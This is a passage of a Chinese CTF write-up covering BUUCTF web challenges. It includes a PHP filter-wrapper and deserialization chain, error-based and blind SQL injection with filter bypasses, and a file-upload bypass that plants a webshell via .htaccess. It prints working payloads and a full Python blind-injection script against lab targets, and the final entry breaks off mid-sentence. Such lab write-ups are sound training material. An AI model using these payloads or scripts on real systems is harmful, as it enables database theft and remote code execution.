BUUCTF-page_1 总结(下:20-28)
---钦原.2021-5月末
总目录整理:
文件包含类:
1: HCTF-warmup-2018:php(审计文件包含)
4.[ACTF2020 新生赛]Include
5.[极客大挑战 2019]Secret File
SQL注入类:
2.Web-强网杯sql随便注:
3.[SUCTF 2019]EasySQL
6.[极客大挑战 2019]LoveSQL
15.[极客大挑战 2019]BabySQL
21.[极客大挑战 2019]HardSQL
25.[GYCTF2020]Blacklist
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
26.[GXYCTF2019]BabySQli
命令执行类:
7.[ACTF2020 新生赛]Exec
8.[GXYCTF2019]Ping Ping Ping
框架特性利用类:
9.[护网杯 2018]easy_tornado
php解析特性绕过利用类:
10.[RoarCTF 2019]Easy Calc
HTTP请求头等基础题类:
11.[极客大挑战 2019]Http
17.[极客大挑战 2019]BuyFlag(考察逻辑漏洞-特定身份登录+php弱类型+post传参)
16.[ACTF2020 新生赛]BackupFile(php弱类型比较)
18.[BJDCTF2020]Easy MD5
24.[MRCTF2020]Ez_bypass(弱类型)
审计-反序列化类:
12.[极客大挑战 2019]PHP---> php-serialize()反序列化
20.[ZJCTF 2019]NiZhuanSiWei
31.[网鼎杯 2020 青龙组]AreUSerialz
27.[网鼎杯 2018]Fakebook (sql+反序列化+ssrf)
28.[网鼎杯 2020 青龙组]AreUSerialz
文件上传类:
13.[极客大挑战 2019]Upload
14.[ACTF2020 新生赛]Upload
19.[SUCTF 2019]CheckIn
23.[MRCTF2020]你传你马呢?
--------------------------------------------------------------------------------------------------------------------------------
20.[ZJCTF 2019]NiZhuanSiWei
发现审计内容:
看到有include文件包含,是解题的重点,所以先看第一个if,必须先满足它。
text不为空,且 file_get_contents() 读取的返回值为 welcome to the zjctf
file_get_contents()函数的功能是读取文件内容到一个字符串,但这里没有一个文件,而是读取的text变量。没查到相关这方面的用法,特别是那个r参数。
而如果直接给text赋值 text=welcome to the zjctf 的话,没有回显说明没成功。
所以需要用方法绕过它,两种方法
1.php://input伪协议
此协议需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为 PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input ,同时post想设置的文件内容,php执行时会将post内容当作文件内容。
好像用 HackBar 因为在 post 中没有设置变量不能访问,所以用bp抓包。
看到有回显,可行。
2.data://伪协议
data://协议需要满足双on条件,作用和 php://input 类似
也可以加上 base64 编码。
再看第二个if file不能有flag字符。没啥,往下看。
提示了有一个 useless.php ,想到之前说的PHP伪协议中的php://filter读取文件。尝试。
php://filter/read=convert.base64-encode/resource=useless.php
所以构造payload:
http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/
?text=data:text/plain,welcome to the zjctf
&file=php://filter/read/convert.base64-encode/resource=useless.php
成功回显。
(此处text用data://的理由是php://input是用post而拼接变量,不方便)
得到的base64经过解码后为:
useless.php :
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
看到有一个 flag.php ,并且file不为空将读取flag.php并显示。所以。构造一个序列化字符串。
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
$a->file="flag.php";
echo serialize($a);
?>
此处建议在线php
输出为:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
所以构造payload:
http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/
?text=data:text/plain,welcome to the zjctf
&file=php://filter/read/convert.base64-encode/resource=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
无flag回显:
这里发现如果file继续用前面伪协议读取的话,后面的 password 会无回显无法得到flag 。需修改为 useless.php。
最终payload:
http://2153bb16-c744-4146-8e97-bb8bb810eb2f.node3.buuoj.cn/
?text=data:text/plain,welcome to the zjctf
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
访问后f12即可见flag:
flag{31a696e7-345d-4fd7-95ee-853510639c47}
优秀wp:https://blog.csdn.net/tm_1024/article/details/107150182
21.[极客大挑战 2019]HardSQL
首先抓包丢sqlmap level3慢慢跑
这边先测试:
1:
判断闭合:单引号成功闭合
2:
判断注释:#成功注释
3:
逻辑触发:
'and 1=1# 被拦截
经测试:and、or、空格、=、等
被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入
空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号
^ 等同于 and
语法: Updatexml(1, concat(0x7e, ,0x7e) ,1)
构造payload:
'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
出库名,继续走,遇到空格就()小括号包裹绕过
'^updatexml(1,concat(0x7e,(select((group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#
发现被检测,一看,忘记把最后的=换成like
墨迹好半天,老报错。。注意小括号位置且要完整对应
'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1)#
H4rDsq1
'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)#
id,username,password
继续跟password字段:
'^updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1)#
flag{195ec821-750a-4f9a-a86b-9c
发现显示不完整:
补充知识点:
left() right() 函数,
LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)
LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING
发现只能输出32位左右,那我们让他从右往左输出30个,然后拼接
所以构造payload:
'^updatexml(1,concat(0x7e,(select(right((password),30))from(H4rDsq1)),0x7e),1)#
//right((password),30)
1-750a-4f9a-a86b-9cfbdec97feb}
拼接:flag{195ec821-750a-4f9a-a86b-9cfbdec97feb}
22.[CISCN2019 华北赛区 Day2 Web1]Hack World
(有史以来最最最,感觉学python真的有用,尤其是爆破的一次!!Burp盲注ascii爆破搞了42位,然后python3不到40秒钟就出来,心态啊。)
看题:测试过滤了什么?:
union,or,and,||,&&,order,limit,*,;,%23,#,",还有空格都等常用常见的sql注入、判断语句被过滤了。
但可以替换and的 ^ 符没被过滤,那么:
用 ^ 替换and
用()包裹替换空格,本题经测试可知是布尔盲注:这道题除了过滤就是无脑布尔盲注,脚本或burp(会py一定脚本),故没有太多原理可补充,直接贴 wp
解题方法:
可以
这样傻乎乎的爆破42位(没错当我不会python的时候我都这么做。。还真做出来了呵呵呵呵f*)
python3 确保网络速度和页面链接正常,秒出。。
----------------------------------------------
import requests
import time
url = "http://0913e479-f140-4b93-90b7-48bdc9c6206c.node3.buuoj.cn/index.php" #这里url换为自己的
payload = {
"id" : ""
}
result = ""
for i in range(1,50):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
html = requests.post(url,data=payload)
#print(payload) #这里可以输出payload,想看payload的可以看
if "Hello" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
print(result)
print("flag: " ,result)
-----------------------
结果:
flag{e8c369df-da87-4e7a-8c96-4632bcc11cdf} over
23.[MRCTF2020]你传你马呢?
打开靶场 是上传
裸马被拦截,继续测试,尝试MIME绕过:
文件后缀改为jpg,Concent-type字段改为: image/jpeg
成功上传至:
/upload/347fbe793214f7430dc140daf0d84d99/.jpg
但无法按照php解析?尝试使用配置文件绕过:.htaccess文件绕过
编写一个txt内容为:SetHandler application/x-httpd-php 后保存,更名为.htaccess
上传至靶场,同时更改类型为 image/jpeg
回显:成功上传
/var/www/html/upload/347fbe793214f7430dc140daf0d84d99/.htaccess succesfully uploaded!
之后用蚁剑连接上传好的jpg马子,就ok了
主要考查了基本的文件上传MIME和后缀名检测绕过,加上.htaccess 配置利用的绕过。
24.[MRCTF2020]Ez_bypass
打开靶场,发现给好了源码,f12后整理到code:
发现
第一步考察的是php弱类型:get收到的gg和id的值不能相等但是md5的值需要强相等:
直接数组绕过,hackbar里get传入?gg[]=1&id[]=2
成功突破第一关
接着审计发现需要让passwd变量,post传入,且不能为数字的前提下值为1234567
考虑梅开二度数组法,结果: